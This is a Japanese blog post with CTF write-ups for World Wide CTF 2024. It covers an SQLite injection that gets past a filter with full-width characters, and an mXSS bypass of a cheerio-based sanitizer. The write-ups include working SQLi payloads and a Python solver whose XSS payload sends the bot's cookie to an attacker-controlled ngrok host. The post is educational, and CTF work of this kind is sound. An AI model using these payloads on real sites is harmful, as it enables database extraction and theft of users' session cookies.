tchen's blog.

World Wide CTF 2024 - writeup

JA

SECCONが終わり、「次の目標どうしようか」「他のチームでもプレイしてみたいな」と悩んでいたところ、先日ctfguyさんに新チームInfobahnに参加しないか、と誘ってただきました。

というわけで、デビュー戦のWorld Wide CTF 2024に後半だけですが参加しました。そうしたらなんと優勝しました!!!すごすぎる!!!(僕自身はあまり貢献できていませんが)

前のチームより人数も多いし、全体的にレベルがすごく高くてついていけるか不安ですが、いろいろ知識を吸収して少しでも活躍できるように成長していきたいです。

私が解いた一問と、主に他のチームメイトが解いた一問のwriteupです。

✅ World Wide Email (480pts 7 solves)

※すでにサイトが閉じてしまったので、細かい箇所はあまり覚えていません...残念

Eメールを入力して、そのEメールに対するメッセージを表示してくれるサイト。ソースコードなし。

いろいろな入力を試してみて、どのような反応があるか試した。(メッセージの詳細は忘れたので、Orelさんのwriteupを参考にしました。)

  • aaa - 「Invalid email address」
    • アドレスの形式のチェックがある
  • a@b.com - 「No message found for email a@b.com
  • admin@wwctf.com - 「Found message for email: Welcome back admin!」
    • なにかしらデータを保存している箇所はありそう
  • adm-in@wwctf.com - 「Invalid email address」
  • admin@w'wctf.com - 「Found message for email: Welcome back admin!」
    • 他の文字と違って取り除かれている?
    • 取り除かなければならないということは、なにかしらのインジェクションの対策か?
    • "も同様
  • admin@wwctf.com(dが全角) - 「Found message for email: Welcome back admin!」
    • ユニコード文字を似たascii文字に変換している?
  • a’dmin@wwctf.com('が全角) - 「Error: near "dmin": syntax error」
    • インジェクションに成功してるか?
  • ’OR’’=’’ーーdmin@wwctf.com - 「Found message for email: Welcome back admin!」
    • SQLインジェクションだ!

あとは、ごく一般的なSQLインジェクションの手法に従えばよい。

  • PayloadAllTheThingのDBMS Identificationを参考に、データベースの特定を行う
    • ’OR/**/conv(’a’,16,2)=conv(’a’,16,2)ーーdmin@wwctf.com
      • エラー → MySQLではない
    • ’OR/**/pg_client_encoding()=pg_client_encoding()ーーdmin@wwctf.com
      • エラー → PostgreSQLではない
    • ’OR/**/sqlite_version()=sqlite_version()ーーdmin@wwctf.com
      • 「Found message for email: Welcome back admin!」→ SQLiteで確定
  • PayloadAllTheThingのSQLite Injectionを参考に、テーブルの一覧を取得する
    • ’/**/UNION/**/SELECT/**/sql/**/FROM/**/sqlite_masterーーdmin@wwctf.com - テーブル名がflagz、カラム名がflagであることが判明
  • ’/**/UNION/**/SELECT/**/flag/**/FROM/**/flagzーー@wwctf.com - フラグ入手

実際は以下のようなツールを作成し、効率よく問い合わせを行った

solver.py
import requests

URL = "https://emailsearch.wwctf.com/"

s = requests.session()

email = "' UNION SELECT flag FROM flagz--@wwctf.com"

email = email.replace("'", "’")
email = email.replace("-", "ー")
email = email.replace("=", "=")
email = email.replace(" ", "/**/")
email = email.replace("(", "(")
email = email.replace(")", ")")
email = email.replace(",", ",")
email = email.replace(":", ":")
data = {
    "email": email
}
r = s.get(URL, params=data)
print(r.text)
print(r.url)

✅ SAAS (497pts 2 solves)

9割9分bawolffさんが解きました。すげー!

問題概要

HTMLを送信すると、サニタイズして表示するサイト。

フロントエンドのコードは次の通り。クエリパラメータからHTMLを読み取り、それが75文字以下ならば、/api/sanitizeでサニタイズした後#sanitized-outputinnerHTMLに代入する。

index.js
async function sanitizeHTML() {
    const inputHTML = document.getElementById('html-input').value;
    if (inputHTML.length <= 75) {
        try {
            const response = await fetch('/api/sanitize', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ html: inputHTML })
            });

            const data = await response.json();

            if (data.html) {
                document.getElementById('sanitized-output').innerHTML = data.html;
            } else {
                document.getElementById('sanitized-output').textContent = `Error: ${data.error}`;
            }
        } catch (err) {
            document.getElementById('sanitized-output').textContent = `Failed to sanitize HTML: ${err.message}`;
        }
    } else {
        document.getElementById('sanitized-output').innerHTML = "<h1>Too Long</h1>";
    }
}
/* snap */
window.onload = () => {
    const urlParams = new URLSearchParams(window.location.search);
    const base64HTML = urlParams.get('html');
    if (base64HTML) {
        const decodedHTML = decodeURIComponent(escape(atob(base64HTML)));
        document.getElementById('html-input').value = decodedHTML;
        sanitizeHTML();
    }
}

/api/sanitizeの実装は以下の通り。cheerioというパーサーを利用してHTMLをパースした後、禁止されているタグ(blacklist)と、禁止されているイベント(attrs)をすべて取り除く。

app.js
const sanitize = (html) => {
    const unsafe = cheerio.load(html);
    for (const tag of blacklist) {
        unsafe(tag, "body").remove();
    }
    unsafe('*').each((_, el) => {
        for (const attr of attrs) {
            unsafe(el).removeAttr(attr);
        }
    });
    return unsafe("body").html();

}
/* snap */
app.post('/api/sanitize', async (req, res) => {
    try {
        const { html } = req.body;
        if (html) {
            const sanitizedHTML = sanitize(html);
            res.json({ html: sanitizedHTML });
        } else {
            res.status(400).json({ error: 'No HTML provided' });
        }
    } catch (err) {
        console.log(err)
        res.status(500).json({ error: 'Something went wrong' });
    }
});

blacklistattrは次の通り。

const blacklist = "a abbr acronym address applet area article aside audio b base bdi bdo big blink blockquote br button canvas caption center cite code col colgroup command content data datalist dd del details dfn dialog dir div dl dt element em embed fieldset figcaption figure font footer form frame frameset head header hgroup hr html iframe image img input ins kbd keygen label legend li link listing main map mark marquee menu menuitem meta meter multicol nav nextid nobr noembed noframes noscript object ol optgroup p output p param picture plaintext pre progress s samp script section select shadow slot small source spacer span strike strong sub summary sup svg table tbody td template textarea tfoot th thead time tr track tt u ul var video".split(" ")

const attrs = "onafterprint onafterscriptexecute onanimationcancel onanimationend onanimationiteration onanimationstart onauxclick onbeforecopy autofocus onbeforecut onbeforeinput onbeforeprint onbeforescriptexecute onbeforetoggle onbeforeunload onbegin onblur oncanplay oncanplaythrough onchange onclick onclose oncontextmenu oncopy oncuechange oncut ondblclick ondrag ondragend ondragenter ondragexit ondragleave ondragover ondragstart ondrop ondurationchange onend onended onerror onfocus onfocus onfocusin onfocusout onformdata onfullscreenchange onhashchange oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmessage onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup onmousewheel onmozfullscreenchange onpagehide onpageshow onpaste onpause onplay onplaying onpointercancel onpointerdown onpointerenter onpointerleave onpointermove onpointerout onpointerover onpointerrawupdate onpointerup onpopstate onprogress onratechange onrepeat onreset onresize onscroll onscrollend onsearch onseeked onseeking onselect onselectionchange onselectstart onshow onsubmit onsuspend ontimeupdate ontoggle ontoggle(popover) ontouchend ontouchmove ontouchstart ontransitioncancel ontransitionend ontransitionrun ontransitionstart onunhandledrejection onunload onvolumechange onwebkitanimationend onwebkitanimationiteration onwebkitanimationstart onwebkitmouseforcechanged onwebkitmouseforcedown onwebkitmouseforceup onwebkitmouseforcewillbegin onwebkitplaybacktargetavailabilitychanged onwebkittransitionend onwebkitwillrevealbottom onwheel".split(" ")

URLを送るとCookieにフラグを持ったbotが訪れてくれるので、そのcookieを盗むことが最終目標となる

解法

まずは、禁止されていないタグを特定した。cheerioが利用しているparse5のコードのタグのリストと比較する。そうすると、以下のタグが許可されていることが分かった。

"annotation-xml","basefont","bgsound","body","desc","foreignObject","h1","h2","h3","h4","h5","h6","i","malignmark","math","mglyph","mi","mo","mn","ms","mtext","option","rb","rp","rt","rtc","ruby","search","style","title","wbr","xmp"

mathタグとそれに付随するタグの多くが許可されていることがわかる。また、cheerioは不明なタグをカスタムタグとして扱うが、カスタムタグは取り除かれないのでそれらも利用できる。

次に、許可されたイベントを見てみる。for(let a in window) if(a.startswith("on"))console.log(a)をブラウザで実行して、それと比較した。

"onappinstalled","onbeforeinstallprompt","onbeforexrselect","onabort","onbeforematch","oncancel","oncontentvisibilityautostatechange","oncontextlost","oncontextrestored","onemptied","onsecuritypolicyviolation","onslotchange","onstalled","onwaiting","ongotpointercapture","onlostpointercapture","onlanguagechange","onmessageerror","onoffline","ononline","onrejectionhandled","onstorage","ondevicemotion","ondeviceorientation","ondeviceorientationabsolute","onpageswap","onpagereveal","onscrollsnapchange","onscrollsnapchanging"

PortSwiggerのXSSチートシートを見ながら、使えそうなイベントはないかと探ると、いくつか使えそうなペイロードが見つかった。ただし、いずれも75文字という文字数制限内では有効ではなかった。

<x oncontentvisibilityautostatechange=alert(1) style=content-visibility:auto>
<h1 onscrollsnapchange=alert(1) style=overflow-y:hidden;scroll-snap-type:x><math style=scroll-snap-align:center>

上記を短くしようと試行錯誤していたが、bawolffさんが次のペイロードが刺さることを発見した。後で聞いたところ、mxss examplesを元にいろいろなペイロードを試していたところ刺さったらしい。

<math><mi><table><mglyph><xmp><mi><iframe onload=alert(1)>
なぜこれが刺さるのか?

参考: mXSS cheatsheet

HTMLにはnamespaceという概念があり、あるタグ内がどのような仕様に基づいて処理されるべきかを定義する。デフォルトのnamespaceはHTMLであり、HTMLのタグのルールに従って処理されるが、HTML以外にSVGとMATHMLの2つがXML形式をもつnamespaceとして利用できる。

Namespaceを切り替えるタグを「integration point」と呼ぶ。例えば、HTML namespaceで利用できるSVG integration pointは<svg>タグであり、内部はSVG namespaceとして処理される。同様にHTML namespaceで利用できるMATHML integration pointは<math>タグである。

MATHML namespace内で利用できるタグのうち、今回利用したタグは次のような特性をもつ。

  • <mi> - HTML integration point
  • <mglyph> - HTML integration point直下にある場合、MATHML integration pointとなる。

別の話になるが、<table>タグには許可されないタグが直下に存在する場合、その要素をタグの直前に移動するという仕様がある。(例: <table><a>foobar</a></table><a>foobar</a><table></table>)

以上を元に最初のペイロードがどのように処理されるかを確認する。(以下はcheerioでもブラウザでも同様に処理される)

  1. パーサーは次のように解釈する(<xmp>は内部をテキストとして扱うことに注意)。<mglyph><mi>の直下にないため、MATHML integration pointとして機能しない。

    <HTML:math>
         <MATHML:mi>
             <HTML:table>
                 <HTML:mglyph>
                     <HTML:xmp>
                         <mi><iframe onload=alert(1)> // テキスト
     
  2. <mglyph><table>内で許可された要素ではないため、<mglyph>を外に移動させる。

    <HTML:math>
         <MATHML:mi>
             <HTML:mglyph>
                 <HTML:xmp>
                     <mi><iframe onload=alert(1)> // テキスト
             <HTML:table>
     
  3. 閉じタグなどを補完する

    <math>
         <mi>
             <mglyph>
                 <xmp>
                     <mi><iframe onload=alert(1)> // テキスト
                 </xmp>
             </mglyph>
             <table></table>
         </mi>
     </math>  
     
  4. 禁止タグが取り除かれる

    <math>
         <mi>
             <mglyph>
                 <xmp>
                     <mi><iframe onload=alert(1)> // テキスト
                 </xmp>
             </mglyph>
         </mi>
     </math>  
     

サニタイズされた結果は次のようになる。ここで、<mglyph><mi>の直下になっていることに注目する。

<math><mi><mglyph><xmp><mi><iframe onload=alert(1)></xmp></mglyph></mi></math>

上記がブラウザでは次のように解釈される。ここで、xmpはMATHML namespaceではカスタムタグとして扱われることに注意する。

<HTML:math>
    <MATHML:mi>
        <HTML:mglyph>
            <MATHML:xmp>
                <MATHML:mi>
                    <HTML:iframe onload=alert(1)>   
            </xmp>
        </mglyph>
    </mi>
</math>

根本的な原因は、cheerioがサニタイザーではなく、あくまでDOMパーサーであるという点である。DOMパーサーは、仮にすべて仕様通りに正しく解釈しその結果を出力したとしても、出力した結果を再度解釈すると以前と解釈が異なってしまうケースがある。

さて、XSSは成功したが残りのコードは25文字以内に収める必要がる。"fetch('//0.0.0.0/'+document.cookie)"のようなコードでも25文字を余裕で超えてしまうため、cookieを外部に送るコードを直接書くことは難しそうだ。

そこで、URLを好きに指定できることを利用する。

  • ペイロードのonerrorの値を'eval("/*"+location)'とする
  • URLをhttp://localhost/?x=*/alert(1)//&html=...のようにする
  • evalされる文字列は/*http://localhost/?x=*/alert(1)//&html=...のようになる。URLの大部分がコメントアウトされ、alert(1)だけが残るので、alert(1)が実行される。

あとは、alert(1)の部分をcookieを自分のサイトに送るコードに書き換えればよい。

(botが問題サイトのURLを禁止するWAFが導入されていたが、それはオリジンをURLエンコードすれば良いだけなので割愛)

最終的なコード

solver.py

import hashlib
import time
from multiprocessing import Pool
import re
import requests
from base64 import b64encode


def find_nonce(args):
    message, nonce_start, nonce_end, prefix = args
    for nonce in range(nonce_start, nonce_end):
        combined = f'{message}{nonce}'.encode()
        hash_result = hashlib.sha256(combined).hexdigest()
        if hash_result.startswith(prefix):
            return nonce
    return None

def proof_of_work(message):
    prefix = '0'*6
    nonce = 0
    num_processes = 1
    chunk_size = 1000000
    start_time = time.time()
    
    with Pool(processes=num_processes) as pool:
        while True:
            tasks = [
                (message, nonce + i * chunk_size, nonce + (i + 1) * chunk_size, prefix)
                for i in range(num_processes)
            ]
            results = pool.map(find_nonce, tasks)
            
            for result in results:
                if result is not None:
                    end_time = time.time()
                    nonce = result
                    print(f'Time taken: {end_time - start_time} seconds')
                    return nonce

            nonce += num_processes * chunk_size

URL = "https://saas.wwctf.com"
URL = "http://localhost/"
EVIL = "https://tchenio.ngrok.io/"

s = requests.session()
r = s.get(URL + "api/report")
data = re.findall(r'data = "(.+)"', r.text)[0]
nonce = proof_of_work(data)

payload = f"document.location.assign('{EVIL}'+document.cookie)"
payload = f"eval(atob(/{b64encode(payload.encode()).decode()}/.toString().slice(1,-1)))"

url = f"https://saas.wwctf%2ecom/?x=*/{payload}//&html=PG1hdGg%2BPG1pPjx0YWJsZT48bWdseXBoPjxzdHlsZT48bWk%2BPGlmcmFtZSBvbmxvYWQ9J2V2YWwoIi8qIitsb2NhdGlvbiknPg%3D%3D"

# botの報告は多分ドメイン指定できる環境じゃないと動かない

# r = s.post(URL + "api/report", json={
#     "data": data,
#     "nonce": nonce,
#     "urlToVisit": url,
#     "secretKey": "secret"
# })

# print(r.text)
print(url)